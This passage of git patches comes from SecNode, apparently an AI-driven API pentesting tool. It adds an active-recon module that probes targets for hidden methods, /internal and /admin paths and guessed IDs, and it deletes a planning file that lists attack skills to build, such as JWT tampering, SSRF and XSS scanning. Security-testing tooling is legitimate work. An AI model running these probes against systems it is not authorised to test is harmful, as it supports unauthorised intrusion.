build_pipeline_artifacts(pipeline_input) identities = _resolve_identities(pipeline_input) - discovery_tests = _build_discovery_tests(api_structure.endpoints) - queue = _deduplicate_test_cases( - _apply_identity_variants(seed_tests + discovery_tests, identities) + _apply_identity_variants(seed_tests, identities) ) confirmed: List[Finding] = [] suspected: List[Finding] = [] @@ -366,6 +327,9 @@ async def run_agent_pipeline( ) queue = _deduplicate_test_cases(queue + chain_tests) + # Run final AI deduplication + confirmed = await deduplicate_findings_with_ai(confirmed) + metrics = { "iterations": iteration, "requests_attempted": pipeline_input.request_budget - remaining_budget, @@ -378,16 +342,30 @@ async def run_agent_pipeline( return api_structure, confirmed, suspected, metrics +from .recon import perform_active_recon + async def build_pipeline_artifacts( pipeline_input: PipelineInput, ) -> tuple: - """Run schema load, understanding, and test generation.""" + """Run schema load, active recon, understanding, and test generation.""" raw_schema = await fetch_schema( pipeline_input.target, proxy=pipeline_input.proxy, verify_ssl=pipeline_input.verify_ssl, ) api_structure = analyze_api_structure(raw_schema) + + # Inject Active Reconnaissance + discovered_endpoints = await perform_active_recon(api_structure, pipeline_input) + if discovered_endpoints: + api_structure.endpoints.extend(discovered_endpoints) + + # Deduplicate endpoints by path and method + unique_endpoints = {} + for ep in api_structure.endpoints: + unique_endpoints[(ep.path, ep.method)] = ep + api_structure.endpoints = list(unique_endpoints.values()) + understanding = await understand_api_with_ai(api_structure) tests = await generate_test_cases(understanding, api_structure, instructions=pipeline_input.instructions[0].model_dump() if pipeline_input.instructions else None) return api_structure, tests diff --git a/src/secnodeapi/services/recon.py b/src/secnodeapi/services/recon.py new file mode 100644 index 0000000..d656447 --- /dev/null +++ b/src/secnodeapi/services/recon.py @@ -0,0 +1,120 @@ +""" +Active API Reconnaissance & Discovery Service. +Probes for hidden or undocumented endpoints and parameters before AI analysis. +""" + +from typing import List, Dict, Set +import structlog + +from ..vulnerability_models import APIEndpoint, SchemaStructure, TestCase +from .pipeline import PipelineInput +from ..test_executor import execute_proactive_tests_detailed + +logger = structlog.get_logger(__name__) + + +def _mutate_path(path: str) -> List[str]: + """Generate potential hidden paths based on existing routes.""" + mutations: Set[str] = set() + stripped = path.rstrip("/") + if "/v1/" in stripped: + mutations.add(stripped.replace("/v1/", "/v2/", 1)) + mutations.add(stripped.replace("/v1/", "/internal/", 1)) + if not stripped.endswith("/admin"): + mutations.add(f"{stripped}/admin") + if "{id}" in stripped: + mutations.add(stripped.replace("{id}", "1")) + mutations.add(stripped.replace("{id}", "2")) + return [m for m in mutations if m and m != path] + + +def _build_discovery_tests(endpoints: List[APIEndpoint]) -> List[TestCase]: + """Generate exploratory test cases for undocumented methods and mutated paths.""" + discovery_tests: List[TestCase] = [] + + # Track which methods we already know exist for each path + existing_methods_by_path: Dict[str, Set[str]] = {} + for endpoint in endpoints: + if endpoint.path not in existing_methods_by_path: + existing_methods_by_path[endpoint.path] = set() + existing_methods_by_path[endpoint.path].add(endpoint.method.upper()) + + # Generate Method Probes and Path Mutations + idx = 0 + for path, known_methods in existing_methods_by_path.items(): + # Probe for undocumented HTTP methods + for probe_method in ("GET", "POST", "PUT", "DELETE", "PATCH"): + if probe_method in known_methods: + continue + discovery_tests.append( + TestCase( + id=f"DISCOVER-{idx}-{probe_method}", + name="Method probing", + description="Probe undocumented method support", + owasp_category="API9: Improper Inventory Management", + endpoint=path, + method=probe_method, + ) + ) + idx += 1 + + # Probe for path mutations (e.g. /v2/ instead of /v1/) + for mutation_idx, mutated_path in enumerate(_mutate_path(path)): + discovery_tests.append( + TestCase( + id=f"MUTATE-{idx}-{mutation_idx}", + name="Path mutation", + description="Probe possible shadow or alternate API path", + owasp_category="API9: Improper Inventory Management", + endpoint=mutated_path, + method="GET", + ) + ) + idx += 1 + + return discovery_tests + + +async def perform_active_recon( + api_structure: SchemaStructure, pipeline_input: PipelineInput +) -> List[APIEndpoint]: + """ + Actively scan the application for undocumented endpoints and parameters. + Returns a list of newly discovered APIEndpoints. + """ + logger.info("Starting active reconnaissance for hidden endpoints") + + discovery_tests = _build_discovery_tests(api_structure.endpoints) + if not discovery_tests: + return [] + + results, _ = await execute_proactive_tests_detailed( + test_cases=discovery_tests, + base_url=api_structure.base_url, + concurrency=pipeline_input.concurrency, + auth_headers=pipeline_input.auth_headers, + proxy=pipeline_input.proxy, + verify_ssl=pipeline_input.verify_ssl, + max_requests=len(discovery_tests), + ) + + discovered_endpoints: List[APIEndpoint] = [] + + for result in results: + status = result.status_code + # A 2xx indicates the endpoint definitely exists. + # A 401/403/405 also indicates the endpoint exists, just restricted or wrong method logic. + # 404 indicates it doesn't exist. + if (200 <= status < 300) or status in (401, 403, 405): + new_endpoint = APIEndpoint( + path=result.test_case.endpoint, + method=result.test_case.method.upper(), + operation_id=f"recon_discovered_{result.test_case.method.lower()}", + parameters=[], # We could try to infer parameters from errors, but keep basic for now + auth_required=(status in (401, 403)), + request_body_schema={"present": False} # Hard to infer from recon probes without explicit fuzzing + ) + discovered_endpoints.append(new_endpoint) + logger.info("Discovered undocumented endpoint", method=new_endpoint.method, path=new_endpoint.path, status=status) + + return discovered_endpoints From 245fe46ba5213fac2d15ad49fa99a3e3cf504a40 Mon Sep 17 00:00:00 2001 From: vishnu Date: Mon, 9 Mar 2026 12:48:10 +0100 Subject: [PATCH 4/8] feat(cli): Add rich terminal output formatting - Switched to use instead of JSON in TTY environments. - Introduced rules to break up pipeline execution phases (Plan, Iteration X, Intelligence Processing). - Added to vividly display AI deductive reasoning during cluster merges. --- .gitignore | 3 + pyproject.toml | 1 + src/secnodeapi/ai/validate.py | 10 + src/secnodeapi/cli.py | 38 +- src/secnodeapi/services/pipeline.py | 10 +- uv.lock | 3024 +++++++++++++-------------- 6 files changed, 1563 insertions(+), 1523 deletions(-) diff --git a/.gitignore b/.gitignore index 025df93..dee509c 100644 --- a/.gitignore +++ b/.gitignore @@ -3,6 +3,7 @@ venv/ env/ .venv/ .env +.sisyphus # Application results results/ @@ -24,3 +25,5 @@ htmlcov/ .idea/ .vscode/ .cursor/ +test_output.txt +all_tests.txt diff --git a/pyproject.toml b/pyproject.toml index 5cb30c3..1618424 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -19,6 +19,7 @@ dependencies = [ "redis==5.0.8", "networkx==3.3", "asyncpg==0.30.0", + "rich>=14.3.3", ] [project.optional-dependencies] diff --git a/src/secnodeapi/ai/validate.py b/src/secnodeapi/ai/validate.py index 8bba45e..74ee060 100644 --- a/src/secnodeapi/ai/validate.py +++ b/src/secnodeapi/ai/validate.py @@ -12,8 +12,11 @@ from ..vulnerability_models import Finding, TestResult from .llm_client import call_llm +from rich.console import Console +from rich.panel import Panel logger = structlog.get_logger(__name__) +console = Console() class AIValidationPayload(BaseModel): @@ -263,6 +266,13 @@ async def deduplicate_findings_with_ai(findings: List[Finding]) -> List[Finding] if len(cluster_findings) > 1: logger.info("AI Merge Decision", reasoning=cluster.reasoning, merged_count=len(cluster_findings), kept_id=cluster_findings[0].test_case_id) + console.print( + Panel( + f"[bold cyan]Rationale:[/]\n{cluster.reasoning}\n\n[bold green]Action:[/]\nMerged [bold]{len(cluster_findings)}[/bold] duplicate findings into root cause [bold]{cluster_findings[0].test_case_id}[/bold].", + title="🧠 AI Vulnerability Deduplication", + border_style="cyan" + ) + ) # Keep the finding with the highest CVSS or confidence top_finding = sorted( diff --git a/src/secnodeapi/cli.py b/src/secnodeapi/cli.py index 81b2b2c..6d117fa 100644 --- a/src/secnodeapi/cli.py +++ b/src/secnodeapi/cli.py @@ -18,12 +18,26 @@ except ImportError: pass -structlog.configure( - processors=[ - structlog.processors.TimeStamper(fmt="iso"), - structlog.processors.JSONRenderer(), - ] -) +import sys +from rich.console import Console + +console = Console() + +if sys.stdout.isatty() and not os.environ.get("SECNODE_JSON_LOGS"): + structlog.configure( + processors=[ + structlog.processors.TimeStamper(fmt="iso"), + structlog.dev.ConsoleRenderer(colors=True), + ] + ) +else: + structlog.configure( + processors=[ + structlog.processors.TimeStamper(fmt="iso"), + structlog.processors.JSONRenderer(), + ] + ) + logger = structlog.get_logger(__name__) from .config import RuntimeConfig, has_supported_provider_key @@ -293,21 +307,24 @@ async def _run_schema_only(args, runtime: RuntimeConfig) -> None: async def _run_dry_run(args, pipeline_input: PipelineInput) -> None: + console.rule("[bold cyan]SecNode Dry-Run Mode") _, tests = await build_pipeline_artifacts(pipeline_input) if not tests: logger.error("No tests generated. Aborting.") raise SystemExit(1) - print(f"Generated {len(tests)} test cases (dry-run).") + console.print(f"[bold green]Generated {len(tests)} test cases (dry-run).[/]") _write_dry_run_output(tests, args.dry_run_output) logger.info("Dry-run mode complete", generated_tests=len(tests)) async def _run_full_pipeline(args, pipeline_input: PipelineInput) -> None: + console.rule("[bold magenta]SecNode Legacy Pipeline") api_structure, tests = await build_pipeline_artifacts(pipeline_input) if not tests: logger.error("No tests generated. Aborting.") raise SystemExit(1) + console.rule("[bold cyan]Executing Generated Tests") results = await execute_proactive_tests( test_cases=tests, base_url=api_structure.base_url, @@ -316,6 +333,8 @@ async def _run_full_pipeline(args, pipeline_input: PipelineInput) -> None: proxy=pipeline_input.proxy, verify_ssl=pipeline_input.verify_ssl, ) + + console.rule("[bold yellow]Validating Execution Results") findings = await validate_and_retest( results=results, base_url=api_structure.base_url, @@ -329,11 +348,16 @@ async def _run_full_pipeline(args, pipeline_input: PipelineInput) -> None: report = build_report(api_structure.title, findings) output_dir = write_report(report, args.target) + + console.rule("[bold green]Scan Completed") logger.info("SecNode pipeline completed successfully", output_dir=output_dir) async def _run_agent_mode(args, pipeline_input: PipelineInput) -> None: + console.rule("[bold magenta]SecNode Autonomous Agent Mode") api_structure, confirmed, suspected, metrics = await run_agent_pipeline(pipeline_input) + + console.rule("[bold green]Scan Completed") report = build_report_with_context( api_structure.title, confirmed, diff --git a/src/secnodeapi/services/pipeline.py b/src/secnodeapi/services/pipeline.py index 0f2dc06..6a376e2 100644 --- a/src/secnodeapi/services/pipeline.py +++ b/src/secnodeapi/services/pipeline.py @@ -272,6 +272,10 @@ def _merge_unique_findings(existing: List[Finding], new_findings: List[Finding]) return list(by_key.values()) +from rich.console import Console + +console = Console() + async def run_agent_pipeline( pipeline_input: PipelineInput, ) -> Tuple[SchemaStructure, List[Finding], List[Finding], Dict[str, int]]: @@ -279,6 +283,7 @@ async def run_agent_pipeline( Autonomous runtime loop: plan -> execute -> observe -> validate -> replan. """ + console.rule("[bold cyan]Phase 1: Building Execution Plan") api_structure, seed_tests = await build_pipeline_artifacts(pipeline_input) identities = _resolve_identities(pipeline_input) queue = _deduplicate_test_cases( @@ -294,12 +299,14 @@ async def run_agent_pipeline( while queue and remaining_budget > 0 and iteration < pipeline_input.max_iterations: iteration += 1 + console.rule(f"[bold magenta]Phase 2: Agent Iteration {iteration}") batch, queue = _clip_for_budget( queue, remaining_budget, pipeline_input.per_endpoint_budget ) if not batch: break - + + console.print(f"[dim]Executing batch of {len(batch)} tests. {len(queue)} remaining in queue.[/]") results, stats = await execute_proactive_tests_detailed( test_cases=batch, base_url=api_structure.base_url, @@ -328,6 +335,7 @@ async def run_agent_pipeline( queue = _deduplicate_test_cases(queue + chain_tests) # Run final AI deduplication + console.rule("[bold yellow]Phase 3: Final Intelligence Processing") confirmed = await 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vishnu Date: Mon, 9 Mar 2026 12:52:00 +0100 Subject: [PATCH 5/8] chore: Remove unrequired test and config files - Removed .sisyphus - Removed test_output.txt - Removed execution results/ and strix_runs/ directories --- .sisyphus/boulder.json | 9 - .sisyphus/plans/full-prd-redesign.md | 2725 -------------------------- test_output.txt | 110 -- 3 files changed, 2844 deletions(-) delete mode 100644 .sisyphus/boulder.json delete mode 100644 .sisyphus/plans/full-prd-redesign.md delete mode 100644 test_output.txt diff --git a/.sisyphus/boulder.json b/.sisyphus/boulder.json deleted file mode 100644 index 8e1decf..0000000 --- a/.sisyphus/boulder.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "active_plan": "C:\\Users\\admin\\Desktop\\Projects\\CyberIntelligence\\API-PENTESTER\\.sisyphus\\plans\\full-prd-redesign.md", - "started_at": "2026-03-09T02:50:39.528Z", - "session_ids": [ - "ses_33186afbfffetz2an8m3P24Kjc" - ], - "plan_name": "full-prd-redesign", - "agent": "atlas" -} \ No newline at end of file diff --git a/.sisyphus/plans/full-prd-redesign.md b/.sisyphus/plans/full-prd-redesign.md deleted file mode 100644 index 38cc13f..0000000 --- a/.sisyphus/plans/full-prd-redesign.md +++ /dev/null @@ -1,2725 +0,0 @@ -# Full PRD Implementation — Autonomous API Pentest Agent - -## TL;DR - -> **Quick Summary**: Implement all missing features from the PRD for the SecNode API Autonomous Pentest Agent. The codebase is ~70% built with solid foundations (AI layer, services, tools, infra). This plan fills all gaps: scenario configuration, GraphQL/JS discovery, 8 new attack skills, attack graph persistence (NetworkX + Postgres), worker specialization, multi-agent coordination, memory persistence, sandbox execution, and CI/CD integration. -> -> **Deliverables**: -> - Layered configuration system with scenario.yaml support -> - GraphQL introspection-to-attack pipeline -> - JS endpoint scraping via static regex -> - 8 new attack skills (4 Python-native + 4 tool wrappers) -> - Dalfox tool runner for XSS scanning -> - NetworkX-powered attack graph with Postgres persistence -> - Specialized workers (recon/discovery/fuzzing/exploit) with phase-specific intelligence -> - Multi-agent coordination (LLM agents directing tool workers) -> - Memory persistence via Postgres -> - Docker-based sandbox for tool execution -> - SARIF + JUnit CI/CD output -> - Fixed test infrastructure + comprehensive tests for all new features -> -> **Estimated Effort**: XL (30+ tasks across 7 waves) -> **Parallel Execution**: YES — 7 waves, up to 8 concurrent tasks per wave -> **Critical Path**: Task 1 → Task 4 → Task 10 → Task 18 → Task 23 → Task 27 → Final Verification - ---- - -## Context - -### Original Request -Implement the FULL Product Requirements Document for the Autonomous API Pentest Agent. Production-grade quality with comprehensive tests. The codebase already has substantial infrastructure — extend and enhance, don't rebuild. - -### Interview Summary -**Key Discussions**: -- Graph persistence: NetworkX + Postgres JSONB (skip Neo4j — graphs are 50-500 nodes, Postgres already in stack) -- DSL: YAML-only for now (scenario.yaml with instructions list). Full DSL parser deferred to future. -- Skills: Mixed approach — jwt_tamper/bola_test/rate_limit_bypass/workflow_exploit in Python native; nosql/ssrf/cmdi/xss as tool wrappers -- GraphQL: Full introspection-to-attack pipeline (not just discovery) -- JS scraping: Static regex extraction from downloaded JS files (no headless browser) -- Multi-agent: Both LLM agents AND tool workers coordinating in parallel -- Test strategy: Tests-after (implement, then comprehensive tests) -- Quality: Production-grade - -**Research Findings**: -- All 4 workers are functional (real subprocess execution via base.py) but thin facades with no phase-specific logic -- Skill registry has 6 skills: api_path_fuzz, template_vuln_scan, sqli_probe, active_spider_scan, route_inventory, auth_diff_scan -- AI layer fully complete: generate.py, understand.py, validate.py, llm_client.py with LiteLLM -- Infra has Postgres (asyncpg) + Redis (aioredis) adapters already built -- Docker Compose exists with 4 worker containers + Redis + Postgres -- 18 test files exist, ~57% coverage, 25 async tests broken (missing pytest-asyncio) - -### Metis Review -**Identified Gaps** (addressed): -- GraphQL scope clarified: Full introspection-to-attack pipeline -- JS scraping method clarified: Static regex, not headless browser -- DSL vs YAML boundary clarified: YAML-only for now -- Skill implementation depth clarified: Mixed (Python native + tool wrappers) -- Memory dev mode: Defaulted to in-memory for dev, Postgres for prod -- CI target: Defaulted to GitHub Actions with SARIF + JUnit -- Sandbox strictness: Defaulted to per-worker Docker containers (already exists) - ---- - -## Work Objectives - -### Core Objective -Fill all gaps between the current codebase and the PRD to deliver a production-grade autonomous API pentesting agent with scenario-driven testing, expanded discovery, comprehensive attack skills, persistent attack graphs, specialized workers, and multi-agent coordination. - -### Concrete Deliverables -- `src/secnodeapi/config_loader.py` — Layered config: CLI > scenario.yaml > env vars > defaults -- `src/secnodeapi/scenario_parser.py` — YAML scenario file parser -- `src/secnodeapi/discovery/graphql.py` — GraphQL introspection + attack pipeline -- `src/secnodeapi/discovery/js_scraper.py` — Static JS endpoint extraction -- `src/secnodeapi/tools/runners/dalfox_runner.py` — Dalfox XSS tool runner -- `src/secnodeapi/skills/` — 8 new attack skills (4 Python native + 4 tool wrappers) -- Enhanced `src/secnodeapi/attack_graph/engine.py` — NetworkX algorithms + Postgres persistence -- Enhanced `src/secnodeapi/workers/` — Phase-specific logic in all 4 workers -- `src/secnodeapi/agents/` — Multi-agent coordination layer -- Enhanced `src/secnodeapi/memory/` — Postgres-backed persistent stores -- `src/secnodeapi/reporting/sarif.py` + `junit.py` — CI/CD output formats -- Enhanced CLI with `--mode greybox`, `--scenario`, `--var` -- Comprehensive test suite for all new features - -### Definition of Done -- [ ] All PRD functional requirements implemented and verified -- [ ] `pytest` passes with 0 failures (including fixed async tests) -- [ ] Coverage >= 70% threshold -- [ ] All QA scenarios pass with evidence in `.sisyphus/evidence/` -- [ ] Docker Compose stack starts and runs end-to-end -- [ ] `secnodeapi --mode greybox --scenario examples/greybox.yaml --target ` works - -### Must Have -- Layered configuration precedence (CLI > yaml > env > defaults) -- scenario.yaml parsing with users, variables, instructions -- GraphQL introspection discovery + attack skill -- JS endpoint scraping -- All 8 new attack skills -- Attack graph persistence to Postgres -- Worker phase-specific intelligence -- Multi-agent coordination between LLM agents and tool workers -- Memory persistence via Postgres -- SARIF + JUnit output for CI/CD -- Fixed pytest-asyncio configuration - -### Must NOT Have (Guardrails) -- NO Neo4j dependency — use NetworkX + Postgres -- NO headless browser for JS scraping — static regex only -- NO full DSL parser — YAML instructions only (DSL is future work) -- NO per-tool-invocation Docker containers — per-worker isolation only -- NO self-learning skills or reinforcement learning — future improvement -- NO attack surface visualization — future improvement -- NO over-abstraction or premature generalization — keep it practical -- NO changes to existing working code unless required for integration -- NO `as any`, `@ts-ignore`, empty catches, console.log in prod code -- NO excessive comments or documentation bloat - ---- - -## Verification Strategy (MANDATORY) - -> **ZERO HUMAN INTERVENTION** — ALL verification is agent-executed. No exceptions. - -### Test Decision -- **Infrastructure exists**: YES (pytest, but needs async fix) -- **Automated tests**: Tests-after (implement first, then comprehensive tests) -- **Framework**: pytest + pytest-asyncio -- **Pattern**: Follow existing test patterns in `tests/conftest.py` - -### QA Policy -Every task MUST include agent-executed QA scenarios. -Evidence saved to `.sisyphus/evidence/task-{N}-{scenario-slug}.{ext}`. - -- **Backend/API**: Use Bash (curl/httpx) — Send requests, assert status + response fields -- **CLI**: Use Bash — Run command, validate output, check exit codes -- **Library/Module**: Use Bash (python -c / pytest) — Import, call functions, compare output -- **Integration**: Use Docker Compose — Start stack, run scenarios end-to-end - ---- - -## Execution Strategy - -### Parallel Execution Waves - -``` -Wave 1 (Start Immediately — foundation fixes + scaffolding): -├── Task 1: Fix pytest-asyncio configuration [quick] -├── Task 2: Layered config system (config_loader.py) [unspecified-high] -├── Task 3: Add NetworkX + dalfox to dependencies [quick] -├── Task 4: Scenario YAML parser (scenario_parser.py) [unspecified-high] -├── Task 5: Discovery module scaffolding [quick] -├── Task 6: Skills module scaffolding [quick] -└── Task 7: Agents module scaffolding [quick] - -Wave 2 (After Wave 1 — CLI + core discovery, MAX PARALLEL): -├── Task 8: CLI extensions (--mode greybox, --scenario, --var) (depends: 2, 4) [unspecified-high] -├── Task 9: GraphQL introspection discovery (depends: 5) [deep] -├── Task 10: JS static endpoint scraper (depends: 5) [unspecified-high] -├── Task 11: Dalfox tool runner + parser (depends: 3) [quick] -├── Task 12: Attack graph — NetworkX integration (depends: 3) [deep] -├── Task 13: Memory persistence — Postgres-backed stores (depends: none) [unspecified-high] -└── Task 14: Endpoint fuzzing discovery workflow (depends: 5) [unspecified-high] - -Wave 3 (After Wave 2 — attack skills, MAX PARALLEL): -├── Task 15: Python native skill — jwt_tamper (depends: 6) [deep] -├── Task 16: Python native skill — bola_test (depends: 6) [deep] -├── Task 17: Python native skill — rate_limit_bypass (depends: 6) [unspecified-high] -├── Task 18: Python native skill — workflow_exploit (depends: 4, 6) [deep] -├── Task 19: Tool wrapper skill — nosql_injection (depends: 6) [quick] -├── Task 20: Tool wrapper skill — ssrf_test (depends: 6) [quick] -├── Task 21: Tool wrapper skill — command_injection (depends: 6) [quick] -└── Task 22: Tool wrapper skill — xss_scan (depends: 6, 11) [quick] - -Wave 4 (After Wave 3 — worker specialization + graph persistence): -├── Task 23: Worker specialization — recon worker (depends: 15-22) [unspecified-high] -├── Task 24: Worker specialization — discovery worker (depends: 9, 10, 14) [unspecified-high] -├── Task 25: Worker specialization — fuzzing worker (depends: 15-22) [unspecified-high] -├── Task 26: Worker specialization — exploit worker (depends: 15-22) [unspecified-high] -└── Task 27: Attack graph — Postgres persistence (depends: 12, 13) [deep] - -Wave 5 (After Wave 4 — multi-agent + integration): -├── Task 28: Multi-agent coordinator — LLM agent orchestration (depends: 23-26) [ultrabrain] -├── Task 29: Multi-agent coordinator — parallel worker dispatch (depends: 23-26) [deep] -├── Task 30: Scenario execution pipeline — wire yaml→planner→skills→workers (depends: 4, 8, 18, 23-26) [deep] -└── Task 31: GraphQL attack skills integration (depends: 9, 15-22) [unspecified-high] - -Wave 6 (After Wave 5 — CI/CD + production hardening): -├── Task 32: SARIF output format for CI/CD (depends: 30) [unspecified-high] -├── Task 33: JUnit output format for CI/CD (depends: 30) [quick] -├── Task 34: Tool crash recovery + formal error handling (depends: 23-26) [unspecified-high] -├── Task 35: Finding deduplication — cross-session (depends: 13, 27) [unspecified-high] -└── Task 36: Docker sandbox hardening for workers (depends: 23-26) [unspecified-high] - -Wave 7 (After Wave 6 — comprehensive testing): -├── Task 37: Integration tests — full scenario pipeline (depends: 30) [deep] -├── Task 38: Integration tests — multi-agent coordination (depends: 28, 29) [deep] -└── Task 39: Coverage push — reach 70% threshold (depends: 37, 38) [unspecified-high] - -Wave FINAL (After ALL tasks — independent review, 4 parallel): -├── Task F1: Plan compliance audit (oracle) -├── Task F2: Code quality review (unspecified-high) -├── Task F3: Real manual QA (unspecified-high) -└── Task F4: Scope fidelity check (deep) - -Critical Path: T1 → T4 → T8 → T18 → T30 → T37 → F1-F4 -Parallel Speedup: ~65% faster than sequential -Max Concurrent: 8 (Waves 2 & 3) -``` - -### Dependency Matrix - -| Task | Depends On | Blocks | Wave | -|------|-----------|--------|------| -| 1 | — | 37-39 | 1 | -| 2 | — | 8 | 1 | -| 3 | — | 11, 12 | 1 | -| 4 | — | 8, 18, 30 | 1 | -| 5 | — | 9, 10, 14 | 1 | -| 6 | — | 15-22 | 1 | -| 7 | — | 28, 29 | 1 | -| 8 | 2, 4 | 30 | 2 | -| 9 | 5 | 24, 31 | 2 | -| 10 | 5 | 24 | 2 | -| 11 | 3 | 22 | 2 | -| 12 | 3 | 27 | 2 | -| 13 | — | 27, 35 | 2 | -| 14 | 5 | 24 | 2 | -| 15-18 | 6 (18 also 4) | 23-26, 31 | 3 | -| 19-22 | 6 (22 also 11) | 23-26 | 3 | -| 23-26 | 15-22, 9-14 | 28-30, 34, 36 | 4 | -| 27 | 12, 13 | 35 | 4 | -| 28-29 | 23-26 | 38 | 5 | -| 30 | 4, 8, 18, 23-26 | 32-33, 37 | 5 | -| 31 | 9, 15-22 | 37 | 5 | -| 32-36 | 30, 13, 27, 23-26 | 39 | 6 | -| 37-39 | 30, 28-29 | F1-F4 | 7 | - -### Agent Dispatch Summary - -- **Wave 1**: 7 tasks — T1,T3 → `quick`; T2,T4 → `unspecified-high`; T5,T6,T7 → `quick` -- **Wave 2**: 7 tasks — T9,T12 → `deep`; T8,T10,T13,T14 → `unspecified-high`; T11 → `quick` -- **Wave 3**: 8 tasks — T15,T16,T18 → `deep`; T17 → `unspecified-high`; T19-T22 → `quick` -- **Wave 4**: 5 tasks — T23-T26 → `unspecified-high`; T27 → `deep` -- **Wave 5**: 4 tasks — T28 → `ultrabrain`; T29,T30 → `deep`; T31 → `unspecified-high` -- **Wave 6**: 5 tasks — T32,T34,T35,T36 → `unspecified-high`; T33 → `quick` -- **Wave 7**: 3 tasks — T37,T38 → `deep`; T39 → `unspecified-high` -- **FINAL**: 4 tasks — F1 → `oracle`; F2,F3 → `unspecified-high`; F4 → `deep` - ---- - -## TODOs - -> Implementation + Test = ONE Task. Never separate. -> EVERY task MUST have: Recommended Agent Profile + Parallelization info + QA Scenarios. - ---- - -- [ ] 1. Fix pytest-asyncio configuration - - **What to do**: - - Add `pytest-asyncio` to dev dependencies in `pyproject.toml` and `requirements.txt` - - Configure `asyncio_mode = "auto"` in `pyproject.toml` under `[tool.pytest.ini_options]` - - Verify all 25 previously-failing async tests now pass - - Fix any test imports or fixtures that need updating for pytest-asyncio compatibility - - **Must NOT do**: - - Do not modify any test logic — only fix the async infrastructure - - Do not change test assertions or expected values - - **Recommended Agent Profile**: - - **Category**: `quick` - - **Skills**: [] - - Reason: Single config change + verification - - **Parallelization**: - - **Can Run In Parallel**: YES - - **Parallel Group**: Wave 1 (with Tasks 2-7) - - **Blocks**: Tasks 37-39 (integration tests) - - **Blocked By**: None - - **References**: - - `pyproject.toml` — Existing `[tool.pytest.ini_options]` section where `asyncio_mode` should be added - - `tests/conftest.py` — Test fixtures that may need `@pytest.fixture` async support - - pytest-asyncio docs: https://pytest-asyncio.readthedocs.io/en/latest/concepts.html#auto-mode - - **Acceptance Criteria**: - - [ ] `pytest-asyncio` added to `pyproject.toml` dependencies - - [ ] `asyncio_mode = "auto"` configured in pytest options - - [ ] `pytest tests/ -v` passes ALL tests (0 failures) - - **QA Scenarios:** - ``` - Scenario: All tests pass including async - Tool: Bash - Steps: - 1. Run `pip install -e ".[dev]"` to install updated dependencies - 2. Run `pytest tests/ -v --tb=short` - 3. Count PASSED vs FAILED in output - Expected Result: 0 FAILED, all tests PASSED - Evidence: .sisyphus/evidence/task-1-pytest-all-pass.txt - ``` - - **Commit**: YES - - Message: `fix(tests): configure pytest-asyncio for async test support` - - Files: `pyproject.toml`, `requirements.txt` - - Pre-commit: `pytest tests/ --tb=short` - ---- - -- [ ] 2. Layered configuration system - - **What to do**: - - Create `src/secnodeapi/config_loader.py` with 4-layer config precedence: CLI > scenario.yaml > env vars > defaults - - Define `SecNodeConfig` Pydantic model with all config fields (target, mode, concurrency, auth, proxy, etc.) - - Implement `load_config(cli_args, scenario_path) -> SecNodeConfig` - - Layer 1: Hardcoded defaults in model. Layer 2: `SECNODE_*` env vars overlay. Layer 3: scenario.yaml overlay. Layer 4: CLI args overlay (skip None) - - Add tests for precedence ordering - - **Must NOT do**: - - Do not modify existing `config.py` — new complementary module - - Do not break existing CLI argument handling - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - **Parallelization**: Wave 1 | **Blocks**: Task 8 | **Blocked By**: None - - **References**: - - `src/secnodeapi/config.py` — Existing Config class and env var patterns - - `src/secnodeapi/cli.py` — argparse Namespace structure - - `src/secnodeapi/vulnerability_models.py` — Pydantic model conventions - - **Acceptance Criteria**: - - [ ] `config_loader.py` with `SecNodeConfig` model and `load_config()` function - - [ ] CLI args override yaml, yaml overrides env, env overrides defaults - - [ ] `pytest tests/test_config_loader.py` passes - - **QA Scenarios:** - ``` - Scenario: CLI overrides everything - Tool: Bash (python -c) - Steps: Set SECNODE_CONCURRENCY=5, create yaml with concurrency:10, call load_config(Namespace(concurrency=20), yaml_path) - Expected Result: result.concurrency == 20 - Evidence: .sisyphus/evidence/task-2-precedence.txt - ``` - - **Commit**: `feat(config): add layered configuration with CLI>YAML>env>defaults precedence` - ---- - -- [ ] 3. Add NetworkX + dalfox dependencies - - **What to do**: - - Add `networkx>=3.0` to `pyproject.toml` dependencies and `requirements.txt` - - Verify import: `python -c "import networkx"` - - dalfox is a Go binary — add installation to Dockerfile and README - - Update Docker images to include dalfox - - **Must NOT do**: Do not add dalfox as pip package (it is a CLI tool) - - **Recommended Agent Profile**: `quick` | **Skills**: [] - - **Parallelization**: Wave 1 | **Blocks**: Tasks 11, 12 | **Blocked By**: None - - **References**: - - `pyproject.toml` — Dependencies section - - `docker/` directory — Dockerfiles - - https://github.com/hahwul/dalfox - - **Acceptance Criteria**: - - [ ] `networkx>=3.0` in pyproject.toml - - [ ] `python -c "import networkx"` succeeds - - [ ] Dockerfile updated with dalfox - - **QA Scenarios:** - ``` - Scenario: NetworkX importable - Tool: Bash - Steps: pip install -e . && python -c "import networkx as nx; print(nx.__version__)" - Expected Result: Prints version number - Evidence: .sisyphus/evidence/task-3-networkx.txt - ``` - - **Commit**: `chore(deps): add networkx and dalfox installation` - ---- - -- [ ] 4. Scenario YAML parser - - **What to do**: - - Create `src/secnodeapi/scenario_parser.py` - - Parse `scenario.yaml` format from PRD: `users` (list of name/username/password), `variables` (dict), `instructions` (list of strings) - - Define Pydantic models: `ScenarioUser`, `ScenarioConfig` - - Implement `parse_scenario(path: str) -> ScenarioConfig` with YAML validation - - Handle errors: file not found, invalid YAML, missing required fields - - Create example `examples/greybox.yaml` matching PRD format - - **Must NOT do**: - - Do not implement DSL parsing — YAML only - - Do not implement execution logic — just parsing - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - **Parallelization**: Wave 1 | **Blocks**: Tasks 8, 18, 30 | **Blocked By**: None - - **References**: - - PRD Section 9 — greybox.yaml format (users, variables, instructions) - - `src/secnodeapi/vulnerability_models.py:InstructionSet` — Existing instruction model to map scenario users to - - `src/secnodeapi/schema_fetcher.py` — Pattern for file loading + error handling - - **Acceptance Criteria**: - - [ ] `scenario_parser.py` created with `ScenarioConfig` model - - [ ] Parses PRD example yaml correctly - - [ ] Raises clear errors for invalid input - - [ ] `examples/greybox.yaml` created - - [ ] `pytest tests/test_scenario_parser.py` passes - - **QA Scenarios:** - ``` - Scenario: Parse valid scenario.yaml - Tool: Bash (python -c) - Steps: Create temp yaml with PRD format, call parse_scenario(), assert users list has 2 entries - Expected Result: ScenarioConfig with 2 users, variables dict, instructions list - Evidence: 